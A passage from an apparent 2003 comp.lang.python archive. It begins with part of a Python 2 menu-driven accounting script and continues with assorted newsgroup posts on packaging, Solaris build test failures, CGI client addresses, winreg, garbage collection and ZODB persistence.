    return date
    
def getMonthYear(prompt='Enter a month & year mm/yy', default=''):
    """
    Return a date string.
    """
    if not default:
        default = time.strftime('%m/%y')
    prompt += ' <' + default + '> -->'
    date = get(prompt, default)
    date = time.strftime('%Y%m', time.strptime(date, '%m/%y'))
    return date

def getDollars(prompt='Enter a dollar amount', default='0.00'):
    """
    Return a dollar amount (float).
    """
    prompt += ' <%s> -->' % default
    dollars = float(get(prompt, default))
    return dollars

class base_menu:
    """
    This class is the base for other menus.
    """
    def __init__(self, menu):
        self.menu = menu
        self.prompt = 'Enter Command --> '
    def ShowHeader(self):
        clrscr()
        header("*", 'C')
        header(' ', 'C')
        header("Phil's Not-So-Simple Python Accountant", 'C')
        header(' ', 'C')
        header("*", 'C')
    def ShowSubHeader(self):
        pass
    def ShowMenu(self):
        print
        for m in self.menu:
            print m[1]
        print
    def ShowAll(self):
        self.ShowHeader()
        self.ShowSubHeader()
        self.ShowMenu()
    def GetInput(self):
        return string.upper(get(self.prompt))
    def ExecuteCmd(self, cmd, loop = 1):
        for m in self.menu:
            if m[0] == cmd:
                return m[2]()
        return loop
    def ExecutePreCmd(self):
        # this is to be overridden when needed
        pass
    def __call__(self, loop = 1):
        # when the menu instance is called, display and execute the
menu
        # if loop is nonzero, the menu will loop until exited by user
        while loop:
            self.ShowAll()
            self.ExecutePreCmd()
            loop = self.ExecuteCmd(self.GetInput(), loop)
        return 1
    def Exit(self):
        # basic menu quit function
        return 0

class ND(normalDate.NormalDate):
    def addmonth(self, months):
	offset = self.month() - 1 + months
	month = (offset % 12) + 1
	year = self.year() + (offset / 12)
	self.setMonth(month)
	self.setYear(year)


if __name__ == '__main__':
    class transactions_menu(base_menu):
        def __init__(self):
            menu = (
                ('T','<T>ransfer',self.Transfer),
                ('Q','<Q>uit this menu',self.Exit)
                )
            base_menu.__init__(self, menu)
        def ShowSubHeader(self):
            header('Transactions')
            header()
            #ledger.ShowAccounts()
        def Transfer(self):
            src = getInt('   Enter source account ID: ')
            dest = getInt('   Enter destination account ID: ')
            amount = getDollars('   Enter amount to transfer: ')
            date = getDate('   Transaction date')
            print
            print '    Transfer: %f' % amount
            print 'From account: #%i - %s' % (src, 'dummy_src') 
#(src, ledger.ledger[src][NAME])
            print '  To account: #%i - %s' % (dest, 'dummy_dest')
#(dest, ledger.ledger[dest][NAME])
            print '   Effective: %s' % date
            print
            if getYes('Is this correct?'):
                #ledger.Transfer(dest, src, amount, date)
                pass
            return 1

    class main_menu(base_menu):
        def __init__(self):
            menu = (
                ('T','<T>ransactions',transactions_menu()),
                ('R','<R>eports',self.Reports),
                ('!','<!> Quit Accountant',self.Quit)
                )
            base_menu.__init__(self, menu)
        def ShowSubHeader(self):
            #ledger.ShowAccounts()
            pass
        def Quit(self):
            print
            if getYes('Are you sure you want to quit?'):
                return 0
            else:
                return 1
        def Reports(self):
            print 'nothing here right now'
            get('press enter...')
            return 1


    main_menu()()



From tim at nowhere.freeserve.co.uk  Sun Jan 26 07:25:33 2003
From: tim at nowhere.freeserve.co.uk (Tim C)
Date: Sun, 26 Jan 2003 12:25:33 -0000
Subject: PyXML 0.8.2 is released
References: <m365scmcfa.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3e33d36d$0$234$cc9e4d1f@news.dial.pipex.com>

[snip]
A gratuitous request, but I haven't found an easy answer and this  post
prompted me...

I've been trying pyxml from jython and fell into the problem when trying to
create executables that pyxml's mechanisms for importing modules confound
the compiler. It takes some effort to trace through pyxml to find everything
that's needed, as there's no easy debugging and the error messages don't
seem to relate to the errors.

Is there a crib sheet with the set of modules that need to be imported to
produce a runnable program, or will I have to go through this process in the
future too? (I'm happy to contribute the ones that I find to any such list,
of course!)

tia

Tim





From claird at lairds.com  Fri Jan  3 06:46:02 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 03 Jan 2003 11:46:02 -0000
Subject: what do after installing Python2 ?
References: <20030102194349.13948.00000414@mb-cr.news.cs.com>
Message-ID: <v1atvqe6q35l03@corp.supernews.com>

In article <20030102194349.13948.00000414 at mb-cr.news.cs.com>,
Chergarj <chergarj at cs.com> wrote:
>Just yesterday I installed Python2  from a Hungry Minds CD that came with
>"Beginning Programming for Dummies".  The documentation is not straight clear
			.
			.
			.
>with "Beginning Programming for Dummies".    Is this Python2 really suitable
>for beginners?  What am I missing?   How Am I missing it?
>
>G C

Python is absolutely suitable for beginners.  Several
of us argue it's the best language for beginners.

Locals generally say "Python" rather than "Python2".

What are you missing?  Probably a few dabs of acculturation.
To answer your question, it would help to know what you
have.  What's your background with computers and languages?
In any case, most of what you need you'll find at <URL:
http://www.python.org/ >.  Perhaps <URL: http://
www.oreillynet.com/pub/a/network/2000/06/02/magazine/python_first_language.html >
will also interest you.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From hilbert at microsoft.com  Wed Jan 29 02:30:31 2003
From: hilbert at microsoft.com (Hilbert)
Date: Tue, 28 Jan 2003 23:30:31 -0800
Subject: where are the docs on linux?
Message-ID: <v3f0or664mp473@corp.supernews.com>

Hello,

I'm using the documentation from python.org as help, but someone asked me
today if there are local docs on linux as well (kind of like perldoc).
I couldn't find any local docs.
Is it possyble that there is no local documentation just the ptyhon website?

Thanks,
Hilbert






From dglenn at charter.net  Wed Jan 22 19:18:57 2003
From: dglenn at charter.net (Doug Glenn)
Date: Wed, 22 Jan 2003 19:18:57 -0500
Subject: Accessing a file in a network drive (python under win32)
In-Reply-To: <b714b8de.0301220949.214886e@posting.google.com>
References: <b714b8de.0301220949.214886e@posting.google.com>
Message-ID: <200301221918.57227.dglenn@charter.net>

On Wednesday 22 January 2003 12:49, Aki Niimura wrote:

> '//Evelyn/ms_share/python_win32/jt ag/t.py'

Assign it as a string to a variable and use the variable. 

That is how I did it recently and I did not get any errors with it.  I 
was using v2.1 if that makes any difference.
 
-----
Doug




From zypin at sympatico.ca  Sat Jan  4 12:10:45 2003
From: zypin at sympatico.ca (Norman Skrzypinski)
Date: Sat, 4 Jan 2003 12:10:45 -0500
Subject: Distributing Python apps
References: <mailman.1041610035.7169.python-list@python.org>
Message-ID: <fAER9.8119$8M3.1354400@news20.bellglobal.com>

"Bjorn Pettersen" wrote :
> From: Norman Skrzypinski [mailto:zypin at sympatico.ca]
>
> I've spent the last couple of months investigating Visual
> Basic, Visual C++, Euphoria, Python and Perl.  I like Python,
> but I'm put off by the pain-in-the-rear methods of creating
> standalone Python applications.  Isn't this a serious
> shortcoming that should receive a lot of immediate attention?
> Is there a developer-friendly builder-installer in the works?

It might be useful for us to know what you think the shortcomings are of
Distutils, py2exe, and Installer...

-- bjorn

Hi, Bjorn.

>From what I have read in the "Distributing Python Modules" section of the
Python Documentation (Release 2.2.2, October 14, 2002), both source and
built distributions can be installed only by users who have Python installed
on their machines.  They do not "standalone".

Until you mentioned it, I was unaware of py2exe.  After reading the Python
documentation, however, I read the first sentence on Gordon McMillan's web
page (http://www.mcmillan-inc.com/install1.html), which states,
"Distributing Python Apps...is a pain, if the user does not have Python
installed. And if they do, it's a pain to make sure your code fits in with
their setup."  Since this confirmed the impression that I already had, I
didn't read further on to see his reference to Thomas Heller's py2exe.  I'll
study that, now.

Thank you.

Norm






From andersjm at dancontrol.dk  Fri Jan  3 11:04:51 2003
From: andersjm at dancontrol.dk (Anders J. Munch)
Date: Fri, 3 Jan 2003 17:04:51 +0100
Subject: Sorting out sort (Re: Python vs. Ruby)
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>        <v14ch7mkp0vu55@news.supernews.com>        <mailman.1041382562.17669.python-list@python.org>        <v15qgkgpq72tbf@news.supernews.com>        <3759308d.0301011401.4b32deba@posting.google.com>        <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>        <v18hldk4img654@news.supernews.com>        <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>        <v1b7idcfms9ne0@news.supernews.com>        <3e15a042$0$71636$edfadb0f@dread11.news.tele.dk> <mailman.1041608921.24048.python-list@python.org>
Message-ID: <3e15b4a4$0$71609$edfadb0f@dread11.news.tele.dk>

"Skip Montanaro" <skip at pobox.com> wrote in message
news:mailman.1041608921.24048.python-list at python.org...
>     >> > What more do you need?
>     >>
>     >> Something that chains properly.
>
>     Anders> What does that mean? What does chaining do for you that
>     Anders> composition doesn't?
>
> Preserve references to the original object?

l[:] = reverse(sort(l))

- Anders





From ciouded0ne at aol.com  Sat Jan 18 14:53:26 2003
From: ciouded0ne at aol.com (CIouded 0ne)
Date: 18 Jan 2003 19:53:26 GMT
Subject: python compiler (psyco)
References: <mailman.1042882054.29836.python-list@python.org>
Message-ID: <20030118145326.22327.00000077@mb-ca.aol.com>

i use windows so yea i would appreciate it if you could send me the binaries
but what did you mean its python JIT? what is that? and i thought the python
interpreter was shell cause thats what i was using i think anyway i could be
wrong but at the title bar of the program it saids python shell. and why do you
say i probably dont need it? seems like a compiler would be better than an
interpreter?



From DLNXPEGFQVEB at spammotel.com  Tue Jan 14 20:24:19 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Wed, 15 Jan 2003 03:24:19 +0200
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]    Minimal Python project)
References: <GCEDKONBLEFPPADDJCOEEEANHFAA.whisper@oz.net> <mailman.1042501897.17131.python-list@python.org>
Message-ID: <ppd92v4dsdds6cb1m7bn4uk15qdo51br4d@4ax.com>

On Tue, 14 Jan 2003 00:50:13 +0100, rumours say that Christian Tismer
<tismer at tismer.com> might have written:

>David LeBlanc wrote:
>> Pyth.
>
>Sounds a bit like the winds after digesting Chili Con Carne :-)

I can't find the start of the thread in my newsreader.  So, let me
repeat the question before answering:

Q: What should the name of the Minimal Python project be?
A: What, apart from Monty, you mean?

I thought it obvious... and probably I am not the only one.  Following
suite with Jython and CPython, MPython seems appropriate at last :)
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From kkrueger at example.edu  Wed Jan  1 22:54:03 2003
From: kkrueger at example.edu (Karl A. Krueger)
Date: Thu, 2 Jan 2003 03:54:03 +0000 (UTC)
Subject: HELP! Must choose language!
References: <20021229230751.24148.00000389@mb-bj.aol.com> <yyyk7hrikh9.fsf@adams.patriot.net> <87lm27xw6g.fsf@gvdnet.dk> <yyyy967gzdy.fsf@adams.patriot.net> <auq9fi$l7u$1@baldur.whoi.edu> <yyyhecvgrtl.fsf@adams.patriot.net> <auqes4$n1m$1@baldur.whoi.edu> <tyfsmwdm1u7.fsf@lxplus049.cern.ch>
Message-ID: <av0d4q$pl1$1@baldur.whoi.edu>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote:
> "Karl A. Krueger" <kkrueger at example.edu> writes:
>> Nick Vargish <nav at adams.patriot.net> wrote:
>> > FORTH
>> I don't remember a word of it.
> LOL!
> (You didn't put a smiley, but I assume the joke was intentional.)

Something like that.  I'm sure there are stacks and stacks of Forth
puns, though.

-- 
Karl A. Krueger <kkrueger at example.edu>
Woods Hole Oceanographic Institution
Email address is spamtrapped.  s/example/whoi/
"Outlook not so good." -- Magic 8-Ball Software Reviews



From mwh at python.net  Mon Jan 20 05:50:47 2003
From: mwh at python.net (Michael Hudson)
Date: Mon, 20 Jan 2003 10:50:47 GMT
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <7h3n0lyl3pf.fsf@pc150.maths.bris.ac.uk> <2259b0e2.0301181542.5264be68@posting.google.com>
Message-ID: <7h3iswkksc0.fsf@pc150.maths.bris.ac.uk>

mis6 at pitt.edu (Michele Simionato) writes:

> Michael Hudson <mwh at python.net> wrote in message news:<7h3n0lyl3pf.fsf at pc150.maths.bris.ac.uk>...
> > However:
> > 
> > ->> type(c).__new__
> > <built-in method __new__ of type object at 0x80f2380>
> > 
> > Objects/classobject.c:instance_getattr looks in c.__class__.
> > 
> > This function isn't much use, it seems.
> 
> Here I don't feel stupid; I didn't know that. You are saying essentially
> that c *does* inherit __new__ from object, but it cannot be accessed with
> c.__new__ due to an implementation detail (i.e. getattr looks for __class__
> which is not there);

Well, c.__class__ is there, it's just different from type(c).

> it can be accessed via type(c) anyway.  This is an inconsistency of
> old style classes: they inherits from object but you cannot access
> object methods in the usual way.

It has to be said, writing the post you were replying to made me
realise just how icky old-style objects are!

Cheers,
M.

-- 
    -Dr. Olin Shivers,
     Ph.D., Cranberry-Melon School of Cucumber Science
                                           -- seen in comp.lang.scheme



From mystery at golden.net  Mon Jan  6 14:06:59 2003
From: mystery at golden.net (Etienne Charland)
Date: Mon, 6 Jan 2003 14:06:59 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <uvg12cdht.fsf@fitlinxx.com>
Message-ID: <9AkS9.1$4n.443453@mantis.golden.net>

It's very easy to separate the logic from the interface. When I build
database applications, here's how I structure it. On the client machine, I
have the interface (exe project). On the server, I have a DLL file
containing the application logic, and another DLL file containing all the
code to work directly with the database. The classes inside the logic
assembly are exposed to the clients with remoting. So, yes, it can be split
into parts, and it works VERY well that way :)

different parts:
-Interface (binding the data to the interface, validating so the user don't
enter invalid data, etc)
-Logic (manages security, validations, calls Data to get/update data from
the database, etc)
-Data (executes queries to the database)
-SQL Server database (isn't exposed to clients at all, only used by Data)

and also, I can split the server work into multiple machines: I can have a
database server, and 5 servers hosting the Logic and Data parts, for
example. And then connect each client to a server. I guess it's also
possible to make clustered servers, but I haven't looked at that (no need)

"David Bolen" <db3l at fitlinxx.com> wrote in message
news:uvg12cdht.fsf at fitlinxx.com...
> "Greg Brunet" <gbrunet at nospamsempersoft.com> writes:
>
> > I've been checking out Python for a month or so after using VB for many
> > years, and having just completed a 4 month VB.NET project.  Here's a few
> > observations that I have:
>
> I suppose it's only marginally on track for a Python group, but with
> your recent VB -> VB.NET experience, I wonder if you could answer a
> question of mine, not having dug deeply into VB.NET yet ...
>
> Does VB.NET make it any easier to separate the logic design of the
> application from the GUI layout, or is it further hard-linking the
> two, such that you really end up with a bunch of controls with
> attached code rather than a coherent application design with a GUI
> layer?
>
> I know that you can manually manage your classes (keeping them
> distinct from the GUI layout, or implementing everything as COM
> objects) in VB to try to control the situation, but it's not the
> "normal" design method I've seen developers using.  From your comments
> with respect to the strong push for data linked controls, it would
> seem like VB.NET is actually going further in the direction I'm not a
> big fan of.
>
> That's one of the things I tend to prefer about something like a
> Python + wxPython solution (ob. Python reference).  I tend to design
> an application sans-GUI, and then implement the GUI as a layer above
> the business logic.  This to me improves maintainability of the core
> application, as well as making it accessible in non-GUI situations or
> in replacement GUI (e.g., web side scripting) environments without any
> significant changes - just use the core application interface without
> the GUI.  Although true, I agree that none of the current layout tools
> for Python quite approach the simplicity and robustness of the VB
> environments, which is important when you do get to the GUI layout
> stages.
>
> I've always found VB to be an extremely friendly and easy RAD, but
> that more often than not, resulted in applications where everything
> was tightly linked to the GUI layout - so much so that managing a
> structured design for the application logic itself suffered, as did
> it's long term maintainability.  I was hoping that perhaps VB.NET
> would improve things in that direction, but it sounds like it makes
> you work just as hard to keep the GUI isolated from the bulk of the
> application logic structure.
>
> --
> -- David
> --
> /-----------------------------------------------------------------------\
>  \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
>   |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
>  /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
> \-----------------------------------------------------------------------/





From jbperez808 at yahoo.com  Tue Jan 28 23:48:31 2003
From: jbperez808 at yahoo.com (Jon Perez)
Date: Wed, 29 Jan 2003 12:48:31 +0800
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com>
Message-ID: <b17lfd$106d1h$2@ID-180326.news.dfncis.de>

<zenguyuno at yahoo.com> wrote in message news:3E35513E.6D5CE8B5 at lvcm.com...
> I'm a has-been programmer.  I used to be quite skilled at C, but I
> haven't used it for 7 years.  I don't even have a C compiler!  The only
> language I currently use is Python.  I want to extend Python by writing
> routines in C.
>
> I use a generic PC running Win 98.  What's a good, Easy-to-use and
> install, ANSI C compiler?  I might mention that I mainly want to extend
> Python by writing routines in C.

Borland's free command-line C/C++ compiler tools sounds like
what you're looking for.  It's definitely easy to install (under
10MB), unlike the big MSVC++.  Not sure if it's still around
though.  I saw info re using it to write Python C extensions
before.





From clifford.wells at attbi.com  Wed Jan 15 11:16:56 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 15 Jan 2003 08:16:56 -0800
Subject: matching and extracting...
In-Reply-To: <b03b3a$3ce$1@slb0.atl.mindspring.net>
References: <409a56e2.0301141324.6625547d@posting.google.com>
	 <1042589408.27815.5.camel@software1.logiplex.internal>
	 <1042589661.27820.8.camel@software1.logiplex.internal>
	 <mailman.1042590627.3480.python-list@python.org>
	 <b03b3a$3ce$1@slb0.atl.mindspring.net>
Message-ID: <1042647416.3594.9.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-15 at 01:53, Andrew Dalke wrote:
> Cliff Wells wrote:
> > This is a couple of lines shorter and now my design is perfect <wink>:
> 
> I've heard that before somewhere ...  :)

Now you slander me by insinuating that I'm a plagiarist?  I'm not
talking to you any more <wink>

> 
> > import re
> > 
> > class matchseq:
> >     def __init__(self, sequence):
> >         self.items = []
> >         exp = ""
> >         for item in sequence.split():
> >             if exp:
> >                 exp += " "
> >             k, v = item.split('-')
> >             exp += "(?P<%s>%s)" % (k, ["\D*\d*", k][v == 'p'])
> 
> Pedantically speaking, you should worry about a "k" with embedded
> re metacharacters in it.  For example, have an 're.escape(k)' in case
> there's ever a term like "a.1" and use a group name which you
> construct yourself, then do a mapping from groupdict() to get the
> requested mapping.
>
> Though given the lack of spec, my qualifiers are irrelevant.

There are a couple of other potential shortcomings as well, but I
decided that this satisfied the OP's exact request.  Handling things
outside of that is Left As An Exercise(tm).

-- 
Cliff Wells <clifford.wells at attbi.com>





From timr at probo.com  Mon Jan  6 23:49:04 2003
From: timr at probo.com (Tim Roberts)
Date: Mon, 06 Jan 2003 20:49:04 -0800
Subject: How can I edit the PYTHONPATH environmenal variable in Linux?
References: <mailman.1041776048.6411.python-list@python.org>
Message-ID: <90nk1v029t59urk7c42qlbfhefs74ms5a7@4ax.com>

"Russ Chaffin" <rchaffin at mindspring.com> wrote:
>
>Can someone show how to edit the PYTHONPATH environmental variable in Linux?
>I'm a novice in Linux so my learning curve is pretty steep at this point.
>I'm using a debian disto of Linux 2.4. I'm also using a bash shell to do my editing.

In all of my Python programming, I have never needed to modify PYTHONPATH.
Rather than fall into bad habits from the start, perhaps you should tell us
WHY you think you need this.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From nospam at miltonstreet.com  Sat Jan 11 01:21:40 2003
From: nospam at miltonstreet.com (Sam Carleton)
Date: 10 Jan 2003 22:21:40 -0800
Subject: 4 tests failed: test_socket test_sunaudiodev test_sundry test_urllib2
Message-ID: <52373b4f.0301102221.37091303@posting.google.com>

I am trying to get Python 2.2.2 compiled on a Solaris 8 (SPARC)
machine and I got this error:

4 tests failed:
    test_socket test_sunaudiodev test_sundry test_urllib2

I ran each test by itself, see below.  I am trying to get python
installed for another software package I would like to use.  Any and
all thoughts will be very helpful!

Sam

# ./python ./Lib/test/test_socket.py
Traceback (most recent call last):
  File "./Lib/test/test_socket.py", line 12, in ?
    import socket
  File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
?
    from _socket import *
ImportError: No module named _socket

# ./python ./Lib/test/test_sunaudiodev.py
Traceback (most recent call last):
  File "./Lib/test/test_sunaudiodev.py", line 28, in ?
    test()
  File "./Lib/test/test_sunaudiodev.py", line 26, in test
    play_sound_file(findfile('audiotest.au'))
  File "./Lib/test/test_sunaudiodev.py", line 20, in play_sound_file
    raise TestFailed, msg
test_support.TestFailed: (13, 'Permission denied', '/dev/audio')

# ./python ./Lib/test/test_sundry.py
Traceback (most recent call last):
  File "./Lib/test/test_sundry.py", line 8, in ?
    import BaseHTTPServer
  File "/export/home/sam/src/Python-2.2.2/Lib/BaseHTTPServer.py", line
70, in ?
    import socket # For gethostbyaddr()
  File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
?
    from _socket import *
ImportError: No module named _socket

# ./python ./Lib/test/test_urllib2.py
Traceback (most recent call last):
  File "./Lib/test/test_urllib2.py", line 2, in ?
    import urllib2
  File "/export/home/sam/src/Python-2.2.2/Lib/urllib2.py", line 90, in
?
    import socket
  File "/export/home/sam/src/Python-2.2.2/Lib/socket.py", line 41, in
?
    from _socket import *
ImportError: No module named _socket



From max at alcyone.com  Sun Jan  5 05:11:30 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 05 Jan 2003 02:11:30 -0800
Subject: CGI - client information
References: <cf0ad9fb.0301050153.6852da96@posting.google.com>
Message-ID: <3E1804D2.802F1BFF@alcyone.com>

Jesper Olsen wrote:

> Is it possible from a python cgi script to query the web server about
> the
> IP address of the client that is calling the script?
> 
> E.g. the web server could provide this info in an environment
> variable.

Yes.  See the REMOTE_ADDR environment variable.  (This question really
is about CGI, not Python.)

> I have a hosted web-site, and I like to see who accesses it and what
> they
> look at, but it seems for some reason that the web server does not log
> access to the cgi directory...

You can probably configure your server to log that information.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The critical period in matrimony is breakfast-time.
\__/ A.P. Herbert
    Python chess module / http://www.alcyone.com/pyos/chess/
 A chess game adjudicator in Python.



From mhutchins at amr-corp.com  Wed Jan 29 11:04:37 2003
From: mhutchins at amr-corp.com (Hutchins, Mike)
Date: Wed, 29 Jan 2003 09:04:37 -0700
Subject: Winreg problem (AKA my brain is fried)
Message-ID: <1DE2BB4E5055104F8B533D1264ED0BFE109CBA@cor1denexc1.cor1.root01.org>

For some reason, when I use this:

aKey = OpenKey(aReg,
r"SYSTEM\CurrentControlSet\Services\Browser\Parameters", 0,
KEY_SET_VALUE)

aValue = QueryValueEx(aKey, aDM)

I get access denied.

Any clues?





From judoscript at hotmail.com  Sat Jan 11 13:53:53 2003
From: judoscript at hotmail.com (James Huang)
Date: 11 Jan 2003 10:53:53 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <ad496f8.0301100610.74586ad7@posting.google.com> <52719db8.0301102227.109b7003@posting.google.com> <avog65$etd$1@slb6.atl.mindspring.net>
Message-ID: <52719db8.0301111053.349bc7f9@posting.google.com>

Andrew Dalke <adalke at mindspring.com> wrote in message news:<avog65$etd$1 at slb6.atl.mindspring.net>...
> vvainio at tp.spt.fi (Ville Vainio)
> >>Yes, I found your example much more powerful, readable and
> >>outrageously different from the hypothetical
> >>
> >>import highlevelmailmodule
> >>
> >>highlevelmailmodule.sendmail(from='me at here.com',
> >>         to='you at there.com',
> >>                ... etc
> 
> 
> James Huang wrote:
> > Thank you! Thank you! Thank you!
> > It's amazing that someone on this list can actually say this.
> 
> 
> Hmmm.  My reading was that that statement was meant to be
> sarcastic, not appreciative.  But then again, I'm on this list
> so what do I know.
> 

If the original has that much, don't you see that same amount of the
same ingredient in the second?

However, I still think the original message has some decent thinking,
not just the piece you chose to include.

> 					Andrew
> 					dalke at dalkescientific.com



From tecargile at hotmail.com  Wed Jan 15 19:11:02 2003
From: tecargile at hotmail.com (Tim Cargile)
Date: 15 Jan 2003 16:11:02 -0800
Subject: Python loop constructs
References: <f57664b9.0301142008.6a0888@posting.google.com> <v2aotpoed6lk28@news.supernews.com>
Message-ID: <8b67aef5.0301151611.1a24f0a9@posting.google.com>

"John Roth" <johnroth at ameritech.net> wrote in message news:<v2aotpoed6lk28 at news.supernews.com>...
> "Jonathan P." <jbperez808 at yahoo.com> wrote in message
> news:f57664b9.0301142008.6a0888 at posting.google.com...
> 
> The objection that people have to
> 
> while 1:
> 
> or
> 
> while True: (as in Python 2.3)
> 
> is that it's an idiom and they'd like it to be
> more clearly stated. Frankly, I can't get myself
> all that fired up over the issue when there are
> lots of larger issues to work on.
> 
> John Roth

Wonder what they would think about

    while 1 == 1:

Saw this once in C code

   #define WHILE_COMPANY_IS_SOLVENT 1==1

   :

   while (COMPANY_IS_SOLVENT) {
          :
   }

Yes, I suppose there are more important issues.



From pyth at devel.trillke.net  Mon Jan  6 15:39:35 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Mon, 6 Jan 2003 21:39:35 +0100
Subject: Python vs Java garbage collection?
In-Reply-To: <Pine.GSO.4.44_heb2.09.0301062031380.27086-100000@techunix.technion.ac.il>; from cben@techunix.technion.ac.il on Mon, Jan 06, 2003 at 08:50:24PM +0200
References: <kpofua.5g2.ln@anto.cuni.lan> <RI7P9.82239$pe.2817565@news2.east.cox.net> <Pine.GSO.4.44_heb2.09.0301062031380.27086-100000@techunix.technion.ac.il>
Message-ID: <20030106213935.G17919@prim.han.de>

Beni Cherniavsky wrote:
> On 2002-12-28, Stuart D. Gathman wrote:
> 
> > On Thu, 26 Dec 2002 15:28:35 -0500, Antonio Cuni wrote:
> >
> > > I'd like if python had a feature comparable to C++'s deterministic
> > > destructors; something like the following (invented syntax):
> > >
> > > def foo():
> > >   auto mymutex = acquire_mutex()
> > >   auto myfile = open(filename, 'w')
> > >   auto mysocket = open_socket()
> > >   do_stuff
> > >
> > > I presume it's not easy to assure that "auto" variables can be destroyed
> > > at the end of the function: e.g., what if objects bound to auto
> > > variables have refcount > 1 ?
> >
> I was lately thinking along similar lines.  For Jython and for any
> resource release, one must indicate explicitly when to destroy the object.
> Whatever syntax you use, you still define a predictable place where the
> object is destroyed.  No way around it.  So I don't think one should be
> troubled by remaining references to the object - if the programmer chose
> to end the object's life, he should realise that that's what he's doing.
> 
> > 1) This feature should not reclaim memory, only call __del__().If
> > references were still live, the effect would be the same as calling
> > __del__() on a live object.
> >
> > 2) __del__() would get called again when memory is actually reclaimed.
> > Therefore, your feature would be much safer if it called another special
> > function - say close() or dispose() at the end of the block.
> >
> I think this is a technical question: is it possible in CPython and Jython
> to mutate an existing object's class, to mark it as dead?  If yes, then a
> facility to explicitly force a __del__ if any (and fry the object so it
> can't be used any more) would be a solution for writing portable code:
> 
> x = acquire()
> try:
>     do_something(x)
> finally:
>     finalize(x)

why is this better than the traditional e.g.

lock.acquire()
try:
    do_critical_work()
finally:
    lock.release()

regards, 
    holger




From mcfletch at rogers.com  Tue Jan 14 18:33:24 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 14 Jan 2003 18:33:24 -0500
Subject: matching and extracting...
In-Reply-To: <409a56e2.0301141324.6625547d@posting.google.com>
References: <409a56e2.0301141324.6625547d@posting.google.com>
Message-ID: <3E249E44.2090404@rogers.com>

I won't try to write the whole thing here, but basically, you're doing 
pattern matching; use one of the pattern matching engines (there's lots 
of them). Transform your pattern definition into an appropriate 
definition for that library.

For instance with re:

    -p gives you the pattern as a simple string
        a0-p  ->  a0
    -x gives you a named group named as the pattern with content == to ".."
        i1-x -> (?P<i1>..)
    -? gives you an optional group with the pattern
        i8-? -> (i8)?

So, just do something like:

    " ".join( [ transform( s ) for s in pattern.split() ] )

to create your pattern (with suitably defined transform function as 
described above), and then run re.match against your test-string and 
your pattern.

Any of the other pattern-matching engines might work just as well, but 
re comes standard with Python.

HTH,
Mike

Shagshag wrote:

>Here is my problem : say i have items ix, some are "to discover" (must
>be extracted "-x"), some are "needed" (must be present "-p") and some
>are indifferent ("-?"). for example, i have sequence like :
>
>s = "a0 a1 a2 a3 a4 a5 a6 a7 a8"
>
>i would like to check if my sequence is matching sequence like :
>
>m = "a0-p i1-x i2-x i3-? a4-p i5-x i6-? i7-x i8-?"
>
>and get result like :
>
>m is matching s, i1 is a1, i2 is a3, i5 is a5, i7 is a7 (in python a
>"true" and a dict)
>
>could python help me ? how should i do this ? must i rely on regexps ?
>(entirely or prefer text matching ?) have you any ideas, comments of a
>pythonic way to implement this ?
>
>thanks in advance,
>
>s13.
>  
>
_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From tjreedy at udel.edu  Thu Jan  9 10:41:01 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 9 Jan 2003 10:41:01 -0500
Subject: ZODB: don't like self._p_changed
References: <avjfop$tmb$00$1@news.t-online.com> <3E1D4756.7040406@mxm.dk> <avjj10$oe7$03$1@news.t-online.com> <DVdT9.32468$Hl6.3351656@news010.worldonline.dk> <avjrhb$heh$04$1@news.t-online.com>
Message-ID: <E-ycnWVhkbDLBICjXTWcqA@comcast.com>

"Thomas Guettler" <zopestoller at thomas-guettler.de> wrote in message
news:avjrhb$heh$04$1 at news.t-online.com...
> Max M schrieb:
> > Thomas Guettler wrote:
> >
> >> Max M schrieb:
> >
> >
> >>> Probably not. How should an object know if a mutable subobject
has
> >>> been changed?
> >>
> >>
> >> The method "append" could set the flag.
> >
> >
> > Then you would need to use specialized objects instead of the
built in
> > objects. That would shurely be more cumbersome than setting the
> > persistence flag?
>
> Yes, there a classes like PersistentList and PersistentMapping, but
> this means I need to change my code.
>
> Example:
>
> my_list=PersistentList()
> my_list.append(...)
>
> my_list=some_other_list[1:] # now my_list is no more a persistent
list
>
> This means, I always need to keep in mind if a list is a peristent
list
> or not. That's like setting _p_changed=1.
>
> 1. Solution:
>
> One solution could be to change the meaning of [] and {}.
> Dreaming:
>
> import list_persistance
> foo=[] # foo is now a persistent list.
>
> I don't know if this is possible.
>
>
> 2. Solution:
